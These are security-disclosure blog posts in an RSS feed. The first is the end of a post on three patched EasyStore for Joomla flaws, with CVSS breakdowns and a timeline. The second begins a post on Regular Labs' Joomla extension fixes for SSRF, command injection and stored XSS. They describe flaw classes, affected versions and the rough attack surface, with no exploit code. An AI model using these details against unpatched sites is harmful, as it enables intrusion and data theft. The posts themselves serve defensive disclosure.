&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;9.3&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;Critical&lt;/span&gt;&lt;span&gt;Joomla CNA · &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65761/&quot;&gt;CVE-2026-65761&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Unauthenticated SQL injection. Reachable over the internet with no login, and reads the entire site database, password hashes included.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;No login needed&lt;/span&gt;&lt;span&gt;Exploitable over the internet&lt;/span&gt;&lt;span&gt;Full database read&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;9.2&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;Critical&lt;/span&gt;&lt;span&gt;Joomla CNA · &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65760/&quot;&gt;CVE-2026-65760&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Cross-customer order and invoice IDOR. Any logged-in customer can read every other customer&apos;s invoice, full name, email, billing and shipping addresses, phone number and purchase history included.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:N&lt;/dt&gt;&lt;dd&gt;None: Nothing can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:N&lt;/dt&gt;&lt;dd&gt;None: The site stays up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:H&lt;/dt&gt;&lt;dd&gt;High: Data on other systems can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;8.7&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;High&lt;/span&gt;&lt;span&gt;Joomla CNA · &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65759/&quot;&gt;CVE-2026-65759&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Unauthenticated order and payment forgery. Marks any order paid and rewrites arbitrary order records, with no login needed.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;No login needed&lt;/span&gt;&lt;span&gt;Exploitable over the internet&lt;/span&gt;&lt;span&gt;Free orders and order tampering&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:N&lt;/dt&gt;&lt;dd&gt;None: Nothing can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:N&lt;/dt&gt;&lt;dd&gt;None: The site stays up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The vectors above are the Joomla CNA’s. Our own pre-assignment reads were more conservative on two of them: we scored the SQL injection on confidentiality alone, as a read through the sort clause, and the customer-invoice IDOR at 7.1 because in practice it needs a logged-in account. The CNA scored the SQL injection across full confidentiality, integrity and availability, and the IDOR with no privilege requirement and a system-level confidentiality impact, which is what takes both into the Critical range. We reported all three to JoomShaper as Critical, and the invoice disclosure, whose practical impact is the whole customer base’s personal data, is why it leads this post.&lt;/p&gt;

























































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Component&lt;/td&gt;&lt;td&gt;EasyStore for Joomla (&lt;code&gt;com_easystore&lt;/code&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vendor&lt;/td&gt;&lt;td&gt;JoomShaper (&lt;a href=&quot;https://www.joomshaper.com/&quot;&gt;joomshaper.com&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Type&lt;/td&gt;&lt;td&gt;Cross-customer IDOR data exposure (CWE-639); unauthenticated order forgery / broken access control (CWE-862, CWE-639); unauthenticated SQL injection (CWE-89)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVSS 4.0&lt;/td&gt;&lt;td&gt;9.3 (Critical) SQL injection; 9.2 (Critical) cross-customer invoice IDOR; 8.7 (High) order/payment forgery (Joomla CNA scores)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65759/&quot;&gt;CVE-2026-65759&lt;/a&gt; (order/payment forgery), &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65760/&quot;&gt;CVE-2026-65760&lt;/a&gt; (cross-customer IDOR), &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65761/&quot;&gt;CVE-2026-65761&lt;/a&gt; (SQL injection), assigned by the Joomla CNA on 23 July 2026; the CVE records name Phil Taylor as the finder. JoomShaper did not request a CVE and gave no disclosure credit&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Impact&lt;/td&gt;&lt;td&gt;Cross-customer personal-data and invoice disclosure; free orders and arbitrary order tampering; anonymous read of the whole database including password hashes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Finder&lt;/td&gt;&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected versions&lt;/td&gt;&lt;td&gt;2.0.1 and all earlier versions&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed in&lt;/td&gt;&lt;td&gt;EasyStore 2.0.2&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Reported&lt;/td&gt;&lt;td&gt;21 July 2026 (privately to JoomShaper)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Acknowledged&lt;/td&gt;&lt;td&gt;22 July 2026 (JoomShaper reproduced and verified all three)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed&lt;/td&gt;&lt;td&gt;23 July 2026, EasyStore 2.0.2 (shipped with no security advisory)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-07-21&lt;/strong&gt; Three critical issues reported privately to JoomShaper Cross-customer invoice and order exposure, unauthenticated order forgery, and an unauthenticated SQL injection, all in EasyStore 2.0.1 and every earlier version. All public detail withheld.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-22&lt;/strong&gt; JoomShaper confirms it has reproduced and verified all three The vendor says it is treating the issues with the highest priority and thanks us.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-23&lt;/strong&gt; EasyStore 2.0.2 ships and closes all three The changelog lists the fixes among routine entries with no visual distinction, no security wording, and no credit to the reporter.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-23&lt;/strong&gt; The Joomla CNA assigns three CVEs CVE-2026-65759 for the order forgery, CVE-2026-65760 for the cross-customer invoice disclosure and CVE-2026-65761 for the SQL injection, all naming Phil Taylor as the finder. We went to the CNA because JoomShaper did not. The CNA rated the SQL injection 9.3 Critical and the invoice disclosure 9.2 Critical, higher than our own conservative scores.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/quix-sql-injection-disclosure/&quot;&gt;Our Quix Page Builder SQL injection disclosure&lt;/a&gt; and the wider &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;month of Joomla security disclosures&lt;/a&gt; - the same class of bug across the ecosystem.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints are a CMS security blind spot&lt;/a&gt; - the recurring public-endpoint pattern behind flaws like these.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-check-joomla-database-security/&quot;&gt;How to check your Joomla database security&lt;/a&gt; - what to review and rotate if a vulnerable extension was ever live.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/639.html&quot;&gt;CWE-639: Insecure Direct Object Reference&lt;/a&gt; and &lt;a href=&quot;https://cwe.mitre.org/data/definitions/89.html&quot;&gt;CWE-89: SQL Injection&lt;/a&gt; - the official references for these weakness classes.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomshaper.com/&quot;&gt;JoomShaper&lt;/a&gt; - the vendor&apos;s site, where EasyStore 2.0.2 is available.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/cotton-cloud-incomplete-security-fix/&quot;&gt;Cotton Cloud patched the login, then the data&lt;/a&gt; - the same by-id ownership gap in a Joomla file storage extension, and the fix that looked right in the diff and never ran.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>easystore</category><category>sql injection</category><category>ecommerce</category><category>vulnerability</category><category>responsible disclosure</category><enclosure url="https://mysites.guru/img/og/blog/easystore-security-disclosure.png" length="0" type="image/png"/></item><item><title>Regular Labs Patched Its Whole Joomla Extension Catalogue at Once</title><link>https://mysites.guru/blog/regular-labs-joomla-extension-security-release/</link><guid isPermaLink="true">https://mysites.guru/blog/regular-labs-joomla-extension-security-release/</guid><description>Regular Labs shipped a security-hardening update across its Joomla extension range on 22 July 2026: SSRF, command injection, stored XSS and more. No CVEs.</description><pubDate>Wed, 22 Jul 2026 17:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://regularlabs.com/&quot;&gt;Regular Labs&lt;/a&gt;, the one-developer Joomla shop Peter van Westen has run since 2010 (you may remember it as NoNumber before the 2016 rebrand), is one of the most widely installed names in the ecosystem. The vendor says its extensions run on more than 100,000 websites, and on our own account the shared Regular Labs Library alone sits on more than 16,000 of the Joomla sites we manage, with household-name extensions like Advanced Module Manager, Sourcerer, Articles Anywhere and Cache Cleaner on thousands each. On 22 July 2026 Regular Labs pushed a security-hardening update across roughly 30 of those extensions at once, and did it with no warning: no separate advisory, no CVE numbers, just a stack of changelog entries tagged &lt;code&gt;[SECURITY FIX]&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;That combination, huge install base and a low-key rollout, is exactly how a release like this gets missed. If you run any Regular Labs extension on a Joomla site, update it now. If you manage more than a handful of sites, read on for how to find every affected one at once.&lt;/p&gt;
&lt;h2&gt;Update, 27 September 2026: Modules Anywhere 10.0.0 supersedes 9.0.0&lt;/h2&gt;
&lt;p&gt;The Modules Anywhere 9.0.0 fix in the table below is no longer enough. Regular Labs released Modules Anywhere 10.0.0 on 27 September with a further security fix, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-100750/&quot;&gt;CVE-2026-100750&lt;/a&gt; (rated High): any content author could override the settings of a module they embedded, including a feed module’s URL, and 10.0.0 only accepts those overrides from trusted sources. It is marked as a breaking change, so check pages that override module settings after updating. &lt;a href=&quot;https://mysites.guru/blog/regular-labs-modules-anywhere-10-tabs-accordions-3-2-security/&quot;&gt;Our post on the release&lt;/a&gt; covers it, along with the Tabs &amp;amp; Accordions 3.2.0 fix released the same day.&lt;/p&gt;
&lt;h2&gt;mySites.guru already flags the affected sites&lt;/h2&gt;
&lt;p&gt;You do not have to read 30 changelogs and cross-check them against every site by hand. mySites.guru keeps a live inventory of every extension on every connected Joomla site, and we have added detection rules for the vulnerable versions of the higher-risk extensions in this release. Any connected site still running an affected version is flagged automatically, with the exact version it is on and whether the fix is available.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;See every Regular Labs extension across your sites&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Search for Cache Cleaner, Sourcerer or any Regular Labs extension across every connected Joomla site and filter for outdated versions. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Regular Labs shipped a &lt;strong&gt;coordinated security-hardening update across roughly 30 Joomla extensions&lt;/strong&gt; on 22 July 2026&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Two fixes are in the shared Regular Labs Library&lt;/strong&gt;, so they affect every one of their extensions: privileged AJAX endpoints that did not consistently enforce tokens and permissions, and a bundled HTTP-message library updated to close a request start-line injection&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cache Cleaner&lt;/strong&gt; fixed the most serious set: server-side request forgery to private networks, an OS command injection reaching a shell command on SiteGround hosts, path traversal and credential exposure&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GeoIP&lt;/strong&gt; fixed unauthenticated client-IP header spoofing that can bypass GeoIP-based access rules and Conditions&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;Articles, Modules and Users Anywhere&lt;/strong&gt; content plugins fixed SSRF via external image downloads, stored cross-site scripting and exposure of restricted content and authentication data&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Modals&lt;/strong&gt; and &lt;strong&gt;Tooltips&lt;/strong&gt; fixed stored XSS through decoded HTML; &lt;strong&gt;Keyboard Shortcuts&lt;/strong&gt; stopped shortcut overrides running arbitrary JavaScript; &lt;strong&gt;Sourcerer 13.0.0&lt;/strong&gt; restricts PHP in articles to Super Users&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sourcerer needed a second release.&lt;/strong&gt; On 17 August 2026, &lt;a href=&quot;https://mysites.guru/blog/sourcerer-14-unverified-content-php-execution/&quot;&gt;Sourcerer 14.0.0 closed the other half of the same problem&lt;/a&gt;: 13.0.0 checked the origin of code in articles, but nowhere else in the page. Every 13.x build is affected&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No CVEs were assigned.&lt;/strong&gt; These are Joomla &lt;strong&gt;extension&lt;/strong&gt; issues, not Joomla core&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update every Regular Labs extension you run.&lt;/strong&gt; mySites.guru already flags every connected site still on a vulnerable version&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What Regular Labs actually shipped&lt;/h2&gt;
&lt;p&gt;Two of the security fixes in this release are not in any single extension. They are in the &lt;a href=&quot;https://regularlabs.com/regularlabslibrary&quot;&gt;Regular Labs Library&lt;/a&gt;, the shared framework that every Regular Labs extension installs and loads, which is why the same two lines appear at the bottom of nearly every changelog.&lt;/p&gt;
&lt;p&gt;The first is that Regular Labs’ &lt;strong&gt;privileged AJAX endpoints did not consistently enforce valid tokens, matching permissions, and trusted form configuration&lt;/strong&gt;. AJAX endpoints are the quiet back door of CMS security: they are reachable over the web, they are easy to forget when you audit permissions, and a missing token or capability check turns an administrator-only action into something a lower-privileged user, or a forged cross-site request, can trigger. We wrote about &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;why AJAX endpoints are a CMS security blind spot&lt;/a&gt; before this release, and it is the exact pattern being hardened here across the whole catalogue.&lt;/p&gt;
&lt;p&gt;The second is a &lt;strong&gt;bundled HTTP-message library updated to fix a request start-line injection&lt;/strong&gt;. Regular Labs extensions that make outbound HTTP requests ship a copy of a PSR-7 message library, and a carriage-return or line-feed smuggled into the request line, protocol version or reason phrase without validation can inject extra headers or split a second request. The changelog names neither the library nor a CVE, but the wording lines up closely with a known issue in the widely-used &lt;code&gt;guzzlehttp/psr7&lt;/code&gt; package, &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-55766&quot;&gt;CVE-2026-55766&lt;/a&gt;, a CRLF injection in HTTP start-line serialization fixed in psr7 2.12.1 and disclosed in June 2026. We cannot confirm from closed source that this is the exact dependency Regular Labs bundles, but the description matches. It is a lower-priority fix for most sites, and it travels with every extension you update.&lt;/p&gt;
&lt;p&gt;Beyond those two, most of the release is administrator-side hardening: adding the token or permission check an admin route should have needed, escaping stored values before they render in the admin, rejecting SQL comment and write keywords in DB Replacer’s custom filters. Important, but exploitable mainly by someone who already has an account. The issues worth prioritising are the handful that reach further.&lt;/p&gt;
&lt;h2&gt;Which Regular Labs extensions have the serious fixes?&lt;/h2&gt;
&lt;p&gt;A few extensions fixed issues that an unauthenticated visitor, or a low-privilege user, can reach. These are the ones to update first.&lt;/p&gt;























































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Extension&lt;/th&gt;&lt;th&gt;Fixed in&lt;/th&gt;&lt;th&gt;The issue that matters&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Cache Cleaner&lt;/td&gt;&lt;td&gt;10.0.0&lt;/td&gt;&lt;td&gt;SSRF to private/reserved networks, OS command injection (host value to shell on SiteGround), path traversal, CDN credentials exposed in admin URLs&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;GeoIP&lt;/td&gt;&lt;td&gt;7.0.0&lt;/td&gt;&lt;td&gt;Unauthenticated client-IP header spoofing bypassing GeoIP access rules; SSRF, credential exposure and unsafe archive extraction on database update&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Articles Anywhere&lt;/td&gt;&lt;td&gt;19.0.0&lt;/td&gt;&lt;td&gt;SSRF via external image downloads, stored XSS through tag HTML, restricted/unpublished content and authentication data exposure&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Modules Anywhere&lt;/td&gt;&lt;td&gt;9.0.0&lt;/td&gt;&lt;td&gt;Stored XSS, module access and publication bypass, module data exposed to unauthorised logged-in users&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Users Anywhere&lt;/td&gt;&lt;td&gt;2.0.0&lt;/td&gt;&lt;td&gt;SSRF via external image downloads, stored XSS, authentication and restricted contact data exposure&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Modals&lt;/td&gt;&lt;td&gt;16.0.0&lt;/td&gt;&lt;td&gt;Stored XSS through decoded modal HTML; gallery folder path traversal&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Tooltips&lt;/td&gt;&lt;td&gt;10.0.0&lt;/td&gt;&lt;td&gt;Stored XSS through decoded tooltip HTML&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Keyboard Shortcuts&lt;/td&gt;&lt;td&gt;4.0.0&lt;/td&gt;&lt;td&gt;Shortcut action overrides accepted arbitrary inline JavaScript&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Sourcerer&lt;/td&gt;&lt;td&gt;13.0.0&lt;/td&gt;&lt;td&gt;PHP in articles restricted to Super Users; CSS/JS/PHP permissions enforced across article creators and modifiers&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;Cache Cleaner is the one to update first&lt;/h3&gt;
&lt;p&gt;Cache Cleaner runs on more of the sites we manage than any other Regular Labs extension in this release, and it fixed the widest set of issues. The standouts are a &lt;strong&gt;server-side request forgery&lt;/strong&gt; where custom query URLs could reach private or reserved network services, and an &lt;strong&gt;OS command injection&lt;/strong&gt; on SiteGround hosts where a request host value could reach a shell command. It also closed a path traversal in custom folder and log paths and stopped CDN provider credentials appearing in administrator request URLs. Update to Cache Cleaner 10.0.0.&lt;/p&gt;
&lt;h3&gt;GeoIP and Conditions: spoofable IP headers&lt;/h3&gt;
&lt;p&gt;GeoIP fixed something that reaches every site using it for access control: &lt;strong&gt;GeoIP lookups trusted spoofable forwarded client-IP headers&lt;/strong&gt;. If you gate content, logins or Regular Labs Conditions on a visitor’s country or IP, an attacker could forge the header and present as any location they liked. The same spoofing fix appears in the Conditions component that ships with Advanced Module Manager, Conditional Content, Content Templater and ReReplacer, so it is not only GeoIP users who benefit. GeoIP’s database-update path also fixed SSRF, credential exposure and unsafe archive extraction. Update GeoIP to 7.0.0 and the Conditions-bearing extensions to their fixed versions.&lt;/p&gt;
&lt;h3&gt;The “Anywhere” content plugins: SSRF and stored XSS&lt;/h3&gt;
&lt;p&gt;Articles Anywhere, Modules Anywhere and Users Anywhere render content through front-end tags, and all three fixed the same shape of problem. &lt;strong&gt;External image downloads accepted unsafe hosts, redirects and local folders&lt;/strong&gt; (SSRF), &lt;strong&gt;tag-provided custom HTML could render unsafe markup&lt;/strong&gt; (stored XSS), and tags could &lt;strong&gt;expose restricted or unpublished content and authentication data&lt;/strong&gt;. Several of the fixes are breaking changes: tag-provided custom HTML now renders as escaped text rather than markup, so if you relied on that behaviour, test after updating. Update Articles Anywhere to 19.0.0, Modules Anywhere to 9.0.0 and Users Anywhere to 2.0.0.&lt;/p&gt;
&lt;h3&gt;Sourcerer tightens who can run PHP&lt;/h3&gt;
&lt;p&gt;Sourcerer lets you place code, including PHP, inside Joomla content, which makes it powerful and sensitive in equal measure. Version 13.0.0 &lt;strong&gt;restricts PHP in articles to content created and last modified by Super Users&lt;/strong&gt;, and enforces the configured CSS, JavaScript and PHP permissions across both the creator and the last editor of an article, closing the gap where a lower-privilege editor could get code executed. This is separate from the older Sourcerer code-execution issue &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2025-22204/&quot;&gt;CVE-2025-22204&lt;/a&gt;, fixed back in 11.0.0. Note that 13.0.0 keeps your existing Pro security settings on update, so open the configuration and opt into the stricter defaults on purpose.&lt;/p&gt;
&lt;h2&gt;These are extension flaws, not a Joomla core problem&lt;/h2&gt;
&lt;p&gt;The distinction is worth getting right, because the Joomla community rightly bristles when extension issues get reported as “Joomla vulnerabilities”. Nothing in this release is a flaw in Joomla itself. Joomla core is unaffected. What happened is that a single vendor whose code is installed almost everywhere shipped fixes across its whole range at once, which is a different thing from a core security release.&lt;/p&gt;
&lt;p&gt;It also changes how you respond. You do not need to touch Joomla core for any of this. You need to update the Regular Labs extensions, and you need to know which of your sites run them, because how far the damage goes here is defined by “do you have this extension installed”, not by your Joomla version.&lt;/p&gt;
&lt;h2&gt;No CVE does not mean no risk&lt;/h2&gt;
&lt;p&gt;There are no CVE numbers on the 22 July issues, and it would be easy to read that as “not serious”. That inference is wrong. A CVE is a tracking identifier, not a severity rating, and plenty of dangerous issues never get one, especially when a vendor fixes them in a changelog rather than filing an advisory. An unauthenticated SSRF or a stored XSS is exactly as exploitable whether or not a number is attached to it.&lt;/p&gt;
